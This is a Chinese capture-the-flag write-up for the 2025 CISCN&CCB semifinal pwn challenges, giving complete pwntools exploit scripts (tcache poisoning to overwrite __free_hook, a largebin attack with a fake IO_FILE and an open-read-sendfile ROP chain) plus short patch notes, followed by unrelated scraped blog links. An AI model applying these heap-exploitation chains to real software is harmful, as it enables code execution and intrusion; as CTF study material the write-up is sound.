CISCN&CCB半决赛_2025_PWN_WP
CISCN&CCB半决赛_2025_PWN_WP
前言:
记录一下第一次打半决赛国赛,总结来说还是自己太菜了,还有check脚本是真的很shi,正规军白给了。。。
typo
break
edit函数内部,使用了snprintf 来实现,漏洞是因为,size参数和格式化的参数顺序反过来了。导致了堆溢出以及格式化字符串漏洞

后来在栈上发现没有合适的链子使用,但是可以直接通过堆溢出漏洞来进行实现teache bin attack

没有show函数来进行泄露地址,但是可以通过teache bin attack 来打IO泄露地址,之后拿到地址之后就可以继续teache bin attack
来打__free_hook.
EXP:
from gt import *
con("amd64")
io = process("./pwn")
libc = ELF("./libc-2.31.so")
def add(index,size):
io.sendlineafter(">> ","1")
io.sendlineafter("Index: ",str(index))
io.sendlineafter("Size: ",str(size))
def free(index):
io.sendlineafter(">> ","2")
io.sendlineafter("Index: ",str(index))
def edit(index,size,msg):
io.sendlineafter(">> ","3")
io.sendlineafter("Index: ",str(index))
io.sendafter("content: ",size)
io.sendafter("want to say: ",msg)
# add(0,0x20)
# add(1,0x28)
# add(2,0x28)
# add(3,0x28)
# add(4,0xf8)
# free(1)
for i in range(0x6):
add(i,0x78)
add(7,0x20)
add(8,0x78)
add(9,0x30)
add(10,0x78)
add(11,0x10)
add(12,0x78)
add(13,0x28)
add(14,0x28)
add(15,0x28)
add(16,0x28)
add(17,0x28)
# gdb.attach(io)
payload = b'd'*0x40 + b"/bin/sh\x00"
edit(16,payload,'a')
payload = b'd'*0x38 + p64(0x41)
edit(16,payload,'a')
# add(11,0x78)
payload = b'a'*0x88 + p64(0xd1)
edit(8,payload,'a')
free(9)
add(9,0xc0)
for i in range(0,5):
free(i)
free(12)
free(8)
free(10)
payload = b'a'*0x30
edit(7,payload,'a')
payload = b'a'*0x28 + p64(0x91)
edit(7,payload,'a')
payload = b'a'*0x30 + p64(0x91) + b'\x90\x76'
# gdb.attach(io)
edit(9,'\xc0',payload)
add(0,0x78)
# gdb.attach(io)
add(1,0x78)
add(2,0x78)
payload =b'\x00'*0x8+ p64(0xfbad1887) + p64(0) * 3 + b'\x00'
edit(2,b'\x78',payload)
io.recv(8)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x1ec980
suc("libc_base",libc_base)
system = libc_base + libc.sym["system"]
free(15)
free(14)
# gdb.attach(io)
payload = b'a'*0x40+p64(libc_base+libc.sym["__free_hook"]-0x10)
edit(13,payload,'aa')
payload = b'a'*0x38 + b'\x41'
edit(13,payload,'aa')
add(14,0x28)
add(15,0x28)
edit(15,'\x28',b'\x00'*8+p64(system))
free(17)
# add(0,0x78)
# gdb.attach(io)
io.interactive()
fix
将snprintf换成printf

或者直接nop掉这个函数

prompt
break
开启了沙箱并且加了一层protobuf的壳

漏洞存在于edit函数

这里对size没有做大小检查,导致堆溢出,可以通过这一点来泄露地址,然后通过largebin attack 来打io
EXP:
from gt import *
import ctf_pb2
con("amd64")
io = process("./pwn")
libc = ELF("./libc.so.6")
def add(index,size,msg):
proto = ctf_pb2.HeapPayload()
proto.option = 1
proto.chunk_sizes.append(size)
proto.heap_chunks_id.append(index)
proto.heap_content = msg
sd = proto.SerializeToString()
io.sendafter("Your prompt >> ",p32(len(sd)))
io.send(sd)
def free(index):
proto = ctf_pb2.HeapPayload()
proto.option = 2
proto.chunk_sizes.append(0)
proto.heap_chunks_id.append(index)
proto.heap_content = b'BabyShark'
sd = proto.SerializeToString()
io.sendafter("Your prompt >> ",p32(len(sd)))
io.send(sd)
def edit(index,size,msg):
proto = ctf_pb2.HeapPayload()
proto.option = 3
proto.chunk_sizes.append(size)
proto.heap_chunks_id.append(index)
proto.heap_content = msg
sd = proto.SerializeToString()
io.sendafter("Your prompt >> ",p32(len(sd)))
io.send(sd)
def show(index):
proto = ctf_pb2.HeapPayload()
proto.option = 4
proto.chunk_sizes.append(0)
proto.heap_chunks_id.append(index)
proto.heap_content = b'BabyShark'
sd = proto.SerializeToString()
io.sendafter("Your prompt >> ",p32(len(sd)))
io.send(sd)
def exit():
proto = ctf_pb2.HeapPayload()
proto.option = 5
proto.chunk_sizes.append(0)
proto.heap_chunks_id.append(1)
proto.heap_content = b'BabyShark'
sd = proto.SerializeToString()
io.sendafter("Your prompt >> ",p32(len(sd)))
io.send(sd)
add(0,0x100,b'a'*0x10)
add(1,0x100,b'b'*0x10)
add(2,0x100,b'c'*0x10)
free(1)
payload = b'd'*0x100 + b'e'*0x10
edit(0,len(payload),payload)
show(0)
io.recvuntil("e"*0x10)
heap_base = u64(io.recv(5).ljust(8,b'\x00'))
heap_base = (heap_base << 12) - 0x7000
suc("heap_base",heap_base)
# gdb.attach(io)
payload = b'd'*0x100 + p64(0) + p64(0x111)
edit(0,len(payload),payload)
add(1,0x100,b'b'*0x10)
for i in range(7):
add(i+3,0x210,b'a')
add(10,0x210,b'2'*8)
add(11,0x210,b'b')
add(12,0x210,b'b')
for i in range(7):
free(i+3)
free(11)
payload = b'2'*0x210 + b'3' * 0x10
edit(10,len(payload),payload)
show(10)
io.recvuntil("3"*0x10)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) -0x203d30
suc("libc_base",libc_base)
payload = b'2'*0x210 + p64(0) + p64(0x221)
edit(10,len(payload),payload)
_IO_list_all = libc_base + libc.sym["_IO_list_all"]
_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
setcontext = libc_base + libc.sym["setcontext"]
_IO_2_1_stderr_ = libc_base + libc.sym["_IO_2_1_stderr_"]
for i in range(3):
free(i)
add(0,0x440,b'a')
add(1,0x430,b'a')
add(2,0x430,b'a')
add(3,0x340,b'a')
add(4,0x440,b'a')
add(5,0x440,b'a')
add(6,0x450,b'a')
add(7,0x440,b'a')
add(8,0x1f0,b'a')
free(5)
add(5,0x500,b'a')
payload = b'a'*0x440 + p64(0x8a0) + p64(0x451) + p64(libc_base + 0x203f20)*2 + p64(_IO_list_all-0x20)*2
fake_io_addr = heap_base + 0x5d90
gdb.attach(io)
edit(4,len(payload),payload)
free(1)
add(1,0x500,b'a')
add(9,0x430,b'a')
payload = b'a'*0x440 + p64(0) + p64(0x451) + p64(libc_base + 0x203f20)*2 + p64(fake_io_addr)*2
edit(4,len(payload),payload)
add(11,0x430,b'a')
# add(3,0x10,b'\x00')
# gdb.attach(io)
# add(1,0x310,p64(fake_io_addr))
pop_rdi = libc_base + 0x000000000010f75b#: pop rdi; ret;
pop_rsi = libc_base + 0x0000000000110a4d#: pop rsi; ret;
pop_rax = libc_base + 0x00000000000dd237#: pop rax; ret;
syscall = libc_base + 0x0000000000098fb6#: syscall; ret;
sendfile = libc_base + libc.sym["sendfile"]
pop_rcx = libc_base + 0x00000000000a877e#: pop rcx; ret;
orw_addr = fake_io_addr + 0x150
fake_IO_FILE=p64(0)*3 #_flags=rdi
fake_IO_FILE+=p64(_IO_list_all) + p64(0)*2
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext+61)#_IO_save_end=call addr(call setcontext/system) mov rdx, qword ptr [rax + 0x38]; mov rdi, rax; call qword ptr [rdx + 0x20];
fake_IO_FILE +=p64(0) + p64(1) + p64(0) + p64(orw_addr-0x20) # rdx
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base+0x2000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(_IO_wfile_jumps+0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)
fake_IO_FILE += p64(0)*7 + p64(orw_addr+8) + p64(pop_rdi+1)
flag_addr = orw_addr + 0x80
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(3) + p64(pop_rcx)+ p64(0x40)+p64(sendfile) + b"/flag\x00"
fake_IO_FILE += orw
edit(11,len(fake_IO_FILE),fake_IO_FILE)
'''
pop_rdi = libc_base + 0x000000000010f75b#: pop rdi; ret;
pop_rsi = libc_base + 0x0000000000110a4d#: pop rsi; ret;
pop_rax = libc_base + 0x00000000000dd237#: pop rax; ret;
syscall = libc_base + 0x0000000000098fa6#: syscall; ret;
sendfile = libc_base + libc.sym["sendfile"]
pop_rcx = libc_base + 0x00000000000a876e#: pop rcx; ret;
'''
# gdb.attach(io)
exit()
io.interactive()

fix
将n该小即可防止溢出

post_quantum
fix
这个我看网上修的方法有很多,这里是把解密函数的两个free给ban了
CISCN&CCB半决赛_2025_PWN_WP的更多相关文章
- Google云平台对于2014世界杯半决赛的预测,德国阿根廷胜!
由于本人是个足球迷,前段日子Google利用自己云平台预测世界杯八进四的比赛并取得了75%的正确率的事情让我振动不小.虽然这些年一直听说大数据的预测和看趋势能力如何如何强大,但这次的感受更加震撼,因为 ...
- openssl evp 对称加密(AES_ecb,ccb)
openssl evp 对称加密(AES_ecb,ccb) evp.h 封装了openssl常用密码学工具,以下主要说对称加密的接口 1. 如下使用 aes_256_ecb 模式的加密解密测试代码 u ...
- cocos2d-x绑定ccb文件
首先,ccb文件是如何生成的,我就不多说了,大家可以搜下cocosbuilder,就能找的相关的教程,而通过cocosbuilder,我们可以省去了很多设计的麻烦,比如设计一个精灵的位置啥的,而通过c ...
- 通过ccb(CocosBuilder)文件生成cocos2dx代码
在C++下使用ccb.绑定调用,成员变量.让人头疼又easy犯错. 自己用pythong写了个小程序,通过ccb文件直接生成C++代码 python我用的不多.又是随性所做.代码质量就非常差.大家多多 ...
- SpriteBuilder中使用Node类型的ccb动画节点删除时崩溃的问题
因为节点需要呈现动画效果,虽然只有两个不同帧. 在SpriteBuilder中新建Bullet.ccb文件,类型为node. 添加如上2张图片,并制作动画效果帧. 在游戏中子弹遇到障碍物会被删除,时机 ...
- SpriteBuilder复杂CCB在App场景加载时报错排查
Player.CCB由body和arm两部分组成,它们都开启物理使能. 在GameScene.ccb中新建一个物理对象,将Player.ccb拖入该对象.此时编译运行App均正常. 然后继续添加其他物 ...
- 为CCB中的Sprite子类化CCSprite的一个问题
这时一个特定的错误发生在运行app或者loading场景的时候: reason: '[<NameOfClass 0x7a043520> setValue:forUndefinedKey:] ...
- SpriteBuilder中CCB精灵对象的Sprite frame为什么有时候不能修改
有时候你会发现CCB中的精灵对象(root节点)的Sprite frame是灰色的,不能修改.因为它是根对象,所以不存在被嵌入其他CCB的情况,那到底是什么原因呢? 可以发现此时的Timeline当前 ...
- SpriteBuilder修改CCB文件中的子CCB文件需要注意的一个地方
在SpriteBuilder中如果一个CCB(比如一个场景)中嵌入了另一个子CCB文件(比如一个player),那么当给该子CCB中的root对象添加若干属性的时候,必须注意到这个并没有应用到父CCB ...
- SpriteBuilder切换解决方案以及CCB的修改与保存
在SpriteBuilder中切换解决方案非常简单,可以按cmd+数字键即可. 如上图可以看到数字键1,2,3分别对应于3中不同的解决方案. 注意:当通过在CCB中包含一个Sub File Node的 ...
随机推荐
- 在VS Code中vue引入新版vue-awesome-swiper编译时提示swiper/dist/css/swiper.css无法导入的问题
在安装vue-awesome-swiper时报错swiper/dist/css/swiper.min.css找不到,如下如: 有的回答安装6.0版本的话需要引入另外一个css import 'swip ...
- TagHelper中获取当前Url
在自定义TagHelper时,我们无法通过TagHelperContext 和 TagHelperOutput 获取到当前路由的信息,我们需要添加注入ViewContext [HtmlAttribut ...
- C Primer Plus 第6版 第三章 编程练习参考答案
编译环境VS Code+WSL GCC 源码在文末下载 /*第1题*************************/ #include<stdio.h> int main() { int ...
- CDS标准视图:催款范围描述 I_DunningAreaText
视图名称:催款范围描述 I_DunningAreaText 视图类型: 视图代码: 点击查看代码 @EndUserText.label: 'Dunning Area - Text' @Analytic ...
- UWP Shadow 阴影
参考文字: https://mtaulty.com/2016/08/10/windows-10-uwp-and-composition-light-and-shade/ <Grid Backgr ...
- 推荐一款 .NET 智慧水务物联网系统
前言 本文将介绍如何通过智能水表(如 NB-IoT 水表).智能消火栓.智能阀门.数据采集终端(RTU 或 PLC)及其他前置传感器和设备,开发一个高效.智能的供水管理系统.该系统能够实时采集和分析供 ...
- C# WebAPI 插件热插拔
背景 WebAPI 插件热插拔是指在不重启应用程序的情况下,能够动态地加载.更新或卸载功能模块(即插件)的能力.这种设计模式在软件开发中非常有用,尤其是在需要频繁更新或扩展功能的大型系统中.通过实现插 ...
- 浅谈HPC中的Lustre
本文分享自天翼云开发者社区<浅谈HPC中的Lustre>,作者:n****m 1. 什么是 lustre? Lustre 体系结构是一个为集群设计的存储体系结构. 其核心组件是运行在 Li ...
- Windows中通过NVM安装和切换各个NodeJS版本
1.下载nvm 下载地址:https://github.com/coreybutler/nvm-windows/releases 如我们下载:https://github.com/coreybutle ...
- 银杏叶也是yxy
今年下半年(9月后)第一个使我震撼而狂喜的书籍,金阁寺. 翻译是林少华.他翻译这个可比村上春树好多了 一切都像梦寐一般,一切都如此完美 完美的结构,完美的心理叙述,撕心裂肺的景色描写 战后无限的虚无与 ...